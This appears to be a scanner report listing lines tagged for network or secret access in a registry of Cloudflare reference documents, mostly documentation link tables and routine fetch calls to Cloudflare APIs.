| Configure origin TLS, HTTP, and connection behavior | [Origin parameters](https://developers.cloudflare.com/tunnel/reference/origin-parameters/index.md) | - Network accessline 10
| Configure runtime flags and service arguments | [Run parameters](https://developers.cloudflare.com/tunnel/reference/run-parameters/index.md) | - Network accessline 11
| Manage remote tunnel tokens and rotation | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) | - Network accessline 12
| Choose service protocols and DNS routing | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/gotchas.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) | - Network accessline 6
| --- | --- | | Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) | | Tunnel is healthy but an HTTPS application fails or redirects | [HTTPS origins](https://d - Network accessline 7
| Tunnel fails to connect or reports an error | [Troubleshooting](https://developers.cloudflare.com/tunnel/troubleshooting/index.md) | - Network accessline 8
| Tunnel is healthy but an HTTPS application fails or redirects | [HTTPS origins](https://developers.cloudflare.com/tunnel/troubleshooting/https-origins/index.md) | - Network accessline 9
| Inspect connection health and application diagnostics | [Monitoring](https://developers.cloudflare.com/tunnel/observability/index.md) | - Network accessline 10
| Check local configuration and rule matching | [Configuration file](https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/configuration-file/index.md) | - Network accessline 11
| Connections behave unexpectedly after token rotation | [Tunnel tokens](https://developers.cloudflare.com/tunnel/reference/tunnel-tokens/index.md) | - Network accessline 12
| Check replica capacity or firewall requirements | [Configuration](https://developers.cloudflare.com/tunnel/configuration/index.md) | - Network accessline 13
| Update an existing installation | [Update cloudflared](https://developers.cloudflare.com/tunnel/guides/update-cloudflared/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/networking.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) | - Network accessline 6
| --- | --- | | Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) | | Diagnose DNS, QUIC, or TCP connectivity | [Connection errors](https://de - Network accessline 7
| Determine required egress ports and destinations | [Firewall rules](https://developers.cloudflare.com/tunnel/configuration/index.md#firewall-rules) | - Network accessline 8
| Diagnose DNS, QUIC, or TCP connectivity | [Connection errors](https://developers.cloudflare.com/tunnel/troubleshooting/index.md#connection-errors) | - Network accessline 9
| Configure transport and runtime options | [Run parameters](https://developers.cloudflare.com/tunnel/reference/run-parameters/index.md) | - Network accessline 10
| Check service protocols and client requirements | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) | - Network accessline 11
| Set up private-network access with Cloudflare One | [Connect private networks with cloudflared](https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/private-net/cloudflared/index.md) | - Network accessline 12
| Inspect tunnel health, logs, and metrics | [Monitoring](https://developers.cloudflare.com/tunnel/observability/index.md) |
packages/autoskills/skills-registry/cloudflare/references/tunnel/patterns.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 6
| --- | --- | | Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | | Deploy cloudflared inside a cluster | [Kubernetes](https://developers.cloudflare.com/tunne - Network accessline 7
| Install a remotely-managed tunnel on a host or in Docker | [Setup](https://developers.cloudflare.com/tunnel/get-started/index.md) | - Network accessline 8
| Deploy cloudflared inside a cluster | [Kubernetes](https://developers.cloudflare.com/tunnel/guides/kubernetes/index.md) | - Network accessline 9
| Manage tunnel infrastructure declaratively | [Terraform](https://developers.cloudflare.com/tunnel/guides/terraform/index.md) | - Network accessline 10
| Deploy replicas and check current capacity | [Replicas and high availability](https://developers.cloudflare.com/tunnel/configuration/index.md#replicas-and-high-availability) | - Network accessline 11
| Choose redundancy or explicit traffic steering | [Routing](https://developers.cloudflare.com/tunnel/concepts/routing/index.md) | - Network accessline 12
| Plan upgrades for the existing installation method | [Update cloudflared](https://developers.cloudflare.com/tunnel/guides/update-cloudflared/index.md) | - Network accessline 13
| Add authentication or private connectivity | [Integrations](https://developers.cloudflare.com/tunnel/integrations/index.md) |
packages/autoskills/skills-registry/cloudflare/references/turn/README.md
- Network accessline 79
- [Cloudflare Calls Documentation](https://developers.cloudflare.com/realtime/index.md) - Network accessline 80
- [Cloudflare TURN Service Docs](https://developers.cloudflare.com/realtime/turn/index.md) - Network accessline 81
- [Cloudflare API Reference](https://developers.cloudflare.com/api/resources/calls/subresources/turn/index.md) - Network accessline 82
- [Orange Meets (Open Source Example)](https://github.com/cloudflare/orange)
packages/autoskills/skills-registry/cloudflare/references/turn/api.md
- Network accessline 9
Base URL: `https://api.cloudflare.com/client/v4` - Network accessline 63
POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/generate - Network accessline 105
POST https://rtc.live.cloudflare.com/v1/turn/keys/{key_id}/credentials/revoke - Network accessline 193
const response = await fetch( - Network accessline 194
`https://rtc.live.cloudflare.com/v1/turn/keys/${config.keyId}/credentials/generate`,
packages/autoskills/skills-registry/cloudflare/references/turn/configuration.md
- Access to secretsline 8
[Credential-related source omitted] - Network accessline 69
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 70
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 79
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 80
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 88
const response = await fetch( - Network accessline 89
`https://rtc.live.cloudflare.com/v1/turn/keys/${env.TURN_KEY_ID}/credentials/generate`, - Access to secretsline 93
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/turn/gotchas.md
- Network accessline 101
[Credential-related source omitted] - Network accessline 102
[Credential-related source omitted] - Network accessline 103
const response = await fetch(`https://rtc.live.cloudflare.com/v1/turn/...`, { - Network accessline 107
// ✅ GOOD: Generate credentials server-side const response = await fetch('/api/turn-credentials'); - Network accessline 108
const response = await fetch('/api/turn-credentials'); - Network accessline 135
Reference: [RFC 8445 Section 2.4](https://datatracker.ietf.org/doc/html/rfc8445#section-2.4)
packages/autoskills/skills-registry/cloudflare/references/turn/patterns.md
- Network accessline 21
async function getTURNConfig(): Promise<RTCIceServer[]> { const response = await fetch('/api/turn-credentials'); - Network accessline 22
const response = await fetch('/api/turn-credentials'); - Network accessline 79
async function refreshTURNCredentials(pc: RTCPeerConnection): Promise<void> { const newCreds = await fetch('/turn-credentials').then(r => r.json()); - Network accessline 80
const newCreds = await fetch('/turn-credentials').then(r => r.json()); - Network accessline 132
const res = await fetch( - Network accessline 133
`https://rtc.live.cloudflare.com/v1/turn/keys/${keyId}/credentials/generate`,
packages/autoskills/skills-registry/cloudflare/references/vectorize/README.md
- Network accessline 5
Fetch current documentation before implementing. Start with the [Vectorize documentation index](https://developers.cloudflare.com/vectorize/llms.txt) to discover pages; load only those relevant to the task. Treat the docs as the source of t - Network accessline 9
| Task | Read | |------|------| | Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) | - Network accessline 10
|------|------| | Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) | | Insert, update, query, retrieve, or delet - Network accessline 11
| Create an index and connect a Worker | [Configuration](configuration.md) and [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) | - Network accessline 18
- Use a consistent embedding model and preprocessing for stored vectors and queries. Matching dimensions alone does not make different models' embeddings compatible. - Choose dimensions from the embedding output and a distance metric approp - Network accessline 19
- Choose dimensions from the embedding output and a distance metric appropriate to that model. Changing either requires a new index; check [index configuration and scoring semantics](https://developers.cloudflare.com/vectorize/best-practice - Network accessline 20
- Plan filterable metadata before ingestion. Adding an index later requires re-upserting existing vectors to index that metadata; see [metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md). - Network accessline 22
- Design for asynchronous mutation visibility rather than assuming a completed write is already searchable. See [mutation semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md).
packages/autoskills/skills-registry/cloudflare/references/vectorize/api.md
- Network accessline 3
Fetch the relevant section of the [Workers binding API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) before writing calls or types. - Network accessline 5
| Task | Current documentation | |------|-----------------------| | Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) | - Network accessline 6
|------|-----------------------| | Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) | | Insert, upsert, retrieve by ID, delete, or inspect an - Network accessline 7
| Vector shape, binding, and generated TypeScript types | [Vectorize API](https://developers.cloudflare.com/vectorize/reference/client-api/index.md) | - Network accessline 8
| Insert, upsert, retrieve by ID, delete, or inspect an index | [Operations](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#operations) | - Network accessline 9
| Query by vector or ID; choose returned metadata, values, and scoring precision | [Query vectors](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md) and [query options](https://developers.cloudflare.com/vect - Network accessline 10
| Filter by metadata, combine conditions, or use nested properties | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) | - Network accessline 11
| Batch ingestion and select vector formats | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) and [current limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) | - Network accessline 12
| Manage indexes or vectors outside a Worker | [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-commands/index.md) and [REST API](https://developers.cloudflare.com/api/resources/vectorize/subresources/index
packages/autoskills/skills-registry/cloudflare/references/vectorize/configuration.md
- Network accessline 3
| Task | Current documentation | |------|-----------------------| | Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) | - Network accessline 4
|------|-----------------------| | Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) | | Bind an index to a Worker, develop, deploy, and veri - Network accessline 5
| Create an index, choose dimensions and metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) | - Network accessline 6
| Bind an index to a Worker, develop, deploy, and verify queries | [Introduction to Vectorize](https://developers.cloudflare.com/vectorize/get-started/intro/index.md) | - Network accessline 7
| Configure bindings and generate types | [Binding and TypeScript guidance](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#binding-to-a-worker) | - Network accessline 8
| Create, list, or delete metadata indexes | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) and [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-comm - Network accessline 9
| Manage indexes and vectors through the CLI | [Wrangler commands](https://developers.cloudflare.com/vectorize/reference/wrangler-commands/index.md) | - Network accessline 10
| Upload NDJSON and batch ingestion | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) | - Network accessline 11
| Check capacity, payload, namespace, or batch constraints | [Limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) | - Network accessline 19
Choose metadata granularity around actual queries. For range filters over high-cardinality fields, consider buckets that preserve the application's required precision; do not bucket identifiers used for exact matches. Fetch the [cardinality
packages/autoskills/skills-registry/cloudflare/references/vectorize/gotchas.md
- Network accessline 5
| Symptom or decision | What to check | Current documentation | |---------------------|---------------|-----------------------| | A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query - Network accessline 6
|---------------------|---------------|-----------------------| | A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query visibility | [Insert, upsert, and delete semantics](https://dev - Network accessline 7
| A write succeeded but search has not changed | Mutations are asynchronous; acceptance does not guarantee query visibility | [Insert, upsert, and delete semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#o - Network accessline 8
| Ingestion is slow or a batch is rejected | Batch size depends on the interface; inspect throughput and payload constraints | [Write throughput](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#improve-wri - Network accessline 9
| Query count is rejected or metadata is incomplete | Returned values and metadata affect query limits; indexed metadata can be truncated | [Query options](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#query-vect - Network accessline 10
| Metadata filters return no matches | Confirm field type, operators, nesting, and index creation; re-upsert data written before the metadata index existed | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadat - Network accessline 11
| Query has no matches or poor relevance | Check embedding model and dimensions, metric, namespace, filters, and mutation visibility | [Query vectors](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md) and [i - Network accessline 12
| Existing IDs or metadata behave unexpectedly on update | Insert preserves existing IDs; upsert replaces the full vector and metadata | [Mutation semantics](https://developers.cloudflare.com/vectorize/reference/client-api/index.md#operatio - Network accessline 13
| Capacity or model output no longer fits | Check current limits and model output dimensions; changing dimensions or metric requires another index | [Limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) and [create
packages/autoskills/skills-registry/cloudflare/references/vectorize/patterns.md
- Network accessline 3
| Task | Current documentation | |------|-----------------------| | Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) | - Network accessline 4
|------|-----------------------| | Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) | | Query with embeddings from OpenAI | [OpenAI integratio - Network accessline 5
| Generate and query Workers AI embeddings | [Vectorize and Workers AI](https://developers.cloudflare.com/vectorize/get-started/embeddings/index.md) | - Network accessline 6
| Query with embeddings from OpenAI | [OpenAI integration](https://developers.cloudflare.com/vectorize/best-practices/query-vectors/index.md#openai) | - Network accessline 7
| Choose embedding dimensions and distance metric | [Create indexes](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/index.md) | - Network accessline 8
| Build a retrieval-augmented generation application | [Workers AI RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) | - Network accessline 9
| Link search results to source documents | [Vector metadata](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#metadata) | - Network accessline 10
| Partition vectors by tenant | [Namespaces](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md#namespaces) and [namespace versus metadata filtering](https://developers.cloudflare.com/vectorize/reference/meta - Network accessline 11
| Combine similarity search with categorical or range filters | [Metadata filtering](https://developers.cloudflare.com/vectorize/reference/metadata-filtering/index.md) | - Network accessline 12
| Ingest or update vectors in batches | [Insert vectors](https://developers.cloudflare.com/vectorize/best-practices/insert-vectors/index.md) and [limits](https://developers.cloudflare.com/vectorize/platform/limits/index.md) |
packages/autoskills/skills-registry/cloudflare/references/waf/README.md
- Network accessline 5
| Task | Start here | |------|------------| | Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) | - Network accessline 6
|------|------------| | Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-r - Network accessline 7
| Choose and enable WAF protections | [Get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index. - Network accessline 8
| Deploy managed protection | [Managed rules deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | | Match application-specific requests | [Custom rules](https://developers.cloudflare.com/waf/custom-rules/cr - Network accessline 9
| Match application-specific requests | [Custom rules](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | - Network accessline 10
| Limit request volume | [Rate limiting](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) | | Understand score-based detection | [Attack score](https://developers.cloudflare.com/waf/detections/attack-score/inde - Network accessline 11
| Understand score-based detection | [Attack score](https://developers.cloudflare.com/waf/detections/attack-score/index.md) | - Network accessline 12
| Diagnose blocked or unmitigated requests | [Managed rules troubleshooting](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) |
packages/autoskills/skills-registry/cloudflare/references/waf/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | - Network accessline 6
|------|---------------| | Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | | Discover managed rulesets and deploy them | [Deploy managed - Network accessline 7
| Inspect the entry point and add custom rules | [Create a custom rule via API](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | - Network accessline 8
| Discover managed rulesets and deploy them | [Deploy managed rules via API](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | - Network accessline 9
| Create rate limits with the current request schema | [Create a rate limiting rule via API](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) | - Network accessline 10
| Select counting characteristics, expressions, periods, and mitigation behavior | [Rate limiting parameters](https://developers.cloudflare.com/waf/rate-limiting-rules/parameters/index.md) | - Network accessline 11
| Replace a ruleset deliberately or choose an additive operation | [Update or deploy a ruleset](https://developers.cloudflare.com/ruleset-engine/rulesets-api/update/index.md) | - Network accessline 12
| Construct expressions using supported fields, operators, and functions | [Rules language](https://developers.cloudflare.com/ruleset-engine/rules-language/index.md) | - Network accessline 13
| Choose actions and understand terminating behavior | [Actions reference](https://developers.cloudflare.com/ruleset-engine/rules-language/actions/index.md) | - Network accessline 14
| Override managed rules, tags, or a ruleset | [Managed ruleset overrides](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) | - Network accessline 15
| Choose exactly what a skip rule bypasses | [Skip options](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) |
packages/autoskills/skills-registry/cloudflare/references/waf/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) | - Network accessline 6
|------|---------------| | Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) | | Configure custom rules through the API or SDK | [Custom rules API workflow - Network accessline 7
| Enable protections and configure them in the dashboard | [WAF get started](https://developers.cloudflare.com/waf/get-started/index.md) | - Network accessline 8
| Configure custom rules through the API or SDK | [Custom rules API workflow](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | - Network accessline 9
| Configure managed rules through the API or SDK | [Managed rules API workflow](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | - Network accessline 10
| Configure rate limiting through the API or SDK | [Rate limiting API workflow](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) | - Network accessline 11
| Manage custom rules with Terraform | [Custom rules Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/waf-custom-rules/index.md) | - Network accessline 12
| Manage managed rulesets with Terraform | [Managed rules Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/waf-managed-rulesets/index.md) | - Network accessline 13
| Manage rate limits with Terraform | [Rate limiting Terraform guide](https://developers.cloudflare.com/terraform/additional-configurations/rate-limiting-rules/index.md) | - Network accessline 14
| Decide account versus zone placement and phase | [WAF phases](https://developers.cloudflare.com/waf/reference/phases/index.md) |
packages/autoskills/skills-registry/cloudflare/references/waf/gotchas.md
- Network accessline 5
| Symptom or decision | Documentation to read | |---------------------|-----------------------| | A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/in - Network accessline 6
|---------------------|-----------------------| | A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/index.md) and [terminating actions](https://develo - Network accessline 7
| A rule executes earlier or later than expected | [WAF phases and account/zone order](https://developers.cloudflare.com/waf/reference/phases/index.md) and [terminating actions](https://developers.cloudflare.com/ruleset-engine/rules-languag - Network accessline 8
| A skip rule leaves a protection active | [Skip scope, phases, products, and logging](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) | - Network accessline 9
| Updating a ruleset removes unrelated rules | [Ruleset replacement semantics](https://developers.cloudflare.com/ruleset-engine/rulesets-api/update/index.md) | - Network accessline 10
| An expression fails to parse | [Rules language elements](https://developers.cloudflare.com/ruleset-engine/rules-language/index.md) | - Network accessline 11
| Score-based rules match unexpected traffic | [Attack score meaning, special values, and plan availability](https://developers.cloudflare.com/waf/detections/attack-score/index.md) | - Network accessline 12
| Managed overrides conflict | [Override precedence and scope](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) | | Legitimate traffic is blocked, or attacks reach the origin | [False-posi - Network accessline 13
| Legitimate traffic is blocked, or attacks reach the origin | [False-positive and false-negative investigation](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) | | Rate limits affect shared-IP users or count u - Network accessline 14
| Rate limits affect shared-IP users or count unexpected requests | [Characteristics, NAT support, and counting expressions](https://developers.cloudflare.com/waf/rate-limiting-rules/parameters/index.md) | - Network accessline 15
| API creation fails or the request body is unclear | [Custom rule creation](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md), [managed deployment](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.
packages/autoskills/skills-registry/cloudflare/references/waf/patterns.md
- Network accessline 5
| Outcome | Documentation | |---------|---------------| | Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | - Network accessline 6
|---------|---------------| | Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | | Change a managed rule's behavior or evaluate it with logging | [Override - Network accessline 7
| Apply managed protection to a zone | [Deploy managed rules](https://developers.cloudflare.com/waf/managed-rules/deploy-api/index.md) | - Network accessline 8
| Change a managed rule's behavior or evaluate it with logging | [Override a managed ruleset](https://developers.cloudflare.com/ruleset-engine/managed-rulesets/override-managed-ruleset/index.md) | - Network accessline 9
| Enforce an application-specific request policy | [Create a custom rule](https://developers.cloudflare.com/waf/custom-rules/create-api/index.md) | | Use attack detection in a request policy | [Attack score semantics and availability](https - Network accessline 10
| Use attack detection in a request policy | [Attack score semantics and availability](https://developers.cloudflare.com/waf/detections/attack-score/index.md) | | Protect a login or API endpoint from excessive requests | [Rate limiting API - Network accessline 11
| Protect a login or API endpoint from excessive requests | [Rate limiting API examples](https://developers.cloudflare.com/waf/rate-limiting-rules/create-api/index.md) and [counting parameters](https://developers.cloudflare.com/waf/rate-lim - Network accessline 12
| Exempt narrowly identified traffic from selected protections | [Available skip options](https://developers.cloudflare.com/waf/custom-rules/skip/options/index.md) | - Network accessline 13
| Adjust protection after a false positive | [Managed rules troubleshooting](https://developers.cloudflare.com/waf/managed-rules/troubleshooting/index.md) | - Network accessline 15
For a false positive, identify the matching rule and request scope before choosing an exception or override. Keep the adjustment as narrow as the evidence supports. For combined protections, check [WAF phases](https://developers.cloudflare.
packages/autoskills/skills-registry/cloudflare/references/workerd/README.md
- Network accessline 75
## Related References - [workers](https://developers.cloudflare.com/workers/index.md) - Workers runtime API documentation - Network accessline 76
- [workers](https://developers.cloudflare.com/workers/index.md) - Workers runtime API documentation - Network accessline 78
- [wrangler](https://developers.cloudflare.com/workers/wrangler/index.md) - CLI that uses workerd for local dev
packages/autoskills/skills-registry/cloudflare/references/workerd/api.md
- Network accessline 7
export default { async fetch(request, env, ctx) { - Network accessline 8
async fetch(request, env, ctx) { - Network accessline 9
const value = await env.KV.get("key"); // Bindings in env const response = await env.API.fetch(request); // Service binding ctx.waitUntil(logRequest(request)); // Background task - Network accessline 10
const response = await env.API.fetch(request); // Service binding - Access to secretsline 34
[Credential-related source omitted] - Network accessline 37
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 38
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 71
async fetch(request) { - Network accessline 96
### Fetch - `fetch()`, `Request`, `Response`, `Headers` - Network accessline 97
- `fetch()`, `Request`, `Response`, `Headers` - Network accessline 128
const response = await fetch('https://example.com');
packages/autoskills/skills-registry/cloudflare/references/workerd/configuration.md
- Access to secretsline 68
[Credential-related source omitted] - Network accessline 122
const derived :Workerd.Worker = ( inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] - Network accessline 123
inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] ); - Network accessline 124
bindings = [(name = "API_URL", text = "https://api.com"), (name = "DB", service = "postgres")] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/workerd/gotchas.md
- Network accessline 53
### "Worker not responding" **Cause:** Socket misconfigured, no fetch handler, or port unavailable **Solution:** Verify socket `address` matches, worker exports `fetch()`, port available - Network accessline 55
**Solution:** Verify socket `address` matches, worker exports `fetch()`, port available - Network accessline 113
**Problem:** Breaking changes after compat date update **Cause:** New flags enabled between dates **Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md), test locally f - Network accessline 115
**Solution:** Review [compat dates docs](https://developers.cloudflare.com/workers/configuration/compatibility-dates/index.md), test locally first - Network accessline 135
5. **Check versions**: Workerd version vs compat date 6. **Isolate issue**: Minimal repro config 7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp) - Network accessline 137
7. **Review schema**: [workerd.capnp](https://github.com/cloudflare/workerd/blob/main/src/workerd/server/workerd.capnp)
packages/autoskills/skills-registry/cloudflare/references/workerd/patterns.md
- Network accessline 44
const prodWorker :Workerd.Worker = ( inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.prod.com")] - Network accessline 45
inherit = "base-service", bindings = [(name = "API_URL", text = "https://api.prod.com")] ); - Network accessline 46
bindings = [(name = "API_URL", text = "https://api.prod.com")] - Network accessline 164
export default { async fetch(request, env, ctx) { - Network accessline 165
async fetch(request, env, ctx) { - Network accessline 178
export default { async fetch(request, env, ctx) { - Network accessline 179
async fetch(request, env, ctx) {
packages/autoskills/skills-registry/cloudflare/references/workers-ai/README.md
- Network accessline 7
Start with the [model catalog](https://developers.cloudflare.com/workers-ai/models/index.md) and open the selected model's page for its exact identifier, input/output schema, context window, and supported features. Compare candidates on the - Network accessline 18
If a topic is missing, use the [Workers AI documentation index](https://developers.cloudflare.com/workers-ai/llms.txt) to find its current page. - Network accessline 22
- [Vectorize](../vectorize/): vector storage and retrieval. - [AI Gateway](../ai-gateway/): inference analytics, caching, and request controls. - [Workers](https://developers.cloudflare.com/workers/index.md): runtime and application hosting - Network accessline 24
- [Workers](https://developers.cloudflare.com/workers/index.md): runtime and application hosting.
packages/autoskills/skills-registry/cloudflare/references/workers-ai/api.md
- Network accessline 3
Fetch the selected model's page from the [model catalog](https://developers.cloudflare.com/workers-ai/models/index.md) for request fields, output format, dimensions, and examples. Text, embeddings, images, audio, and translation do not shar - Network accessline 5
| Task | Documentation | |------|---------------| | Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | - Network accessline 6
|------|---------------| | Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | | Invoke inference over HTTP | [REST API reference](https://developers - Network accessline 7
| Invoke inference through a Worker binding | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | - Network accessline 8
| Invoke inference over HTTP | [REST API reference](https://developers.cloudflare.com/api/resources/ai/methods/run/index.md) | - Network accessline 9
| Stream text or use SDK abstractions | [Vercel AI SDK](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md), or the selected model's streaming example | - Network accessline 10
| Define tools and handle tool results | [Function calling](https://developers.cloudflare.com/workers-ai/features/function-calling/index.md) | - Network accessline 11
| Request structured output | [JSON mode](https://developers.cloudflare.com/workers-ai/features/json-mode/index.md) |
packages/autoskills/skills-registry/cloudflare/references/workers-ai/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) | - Network accessline 6
|------|---------------| | Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) | | Add an AI binding to an existing Worker | [Workers - Network accessline 7
| Create and develop a Worker with Workers AI | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md) | - Network accessline 8
| Add an AI binding to an existing Worker | [Workers bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | - Network accessline 9
| Generate environment and runtime types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 10
| Call inference from outside Workers | [REST API setup and authentication](https://developers.cloudflare.com/workers-ai/get-started/rest-api/index.md) | - Network accessline 11
| Use the Vercel AI SDK | [AI SDK integration](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md) | - Network accessline 12
| Adapt an existing OpenAI SDK client | [OpenAI compatible endpoints](https://developers.cloudflare.com/workers-ai/configuration/open-ai-compatibility/index.md) |
packages/autoskills/skills-registry/cloudflare/references/workers-ai/gotchas.md
- Network accessline 5
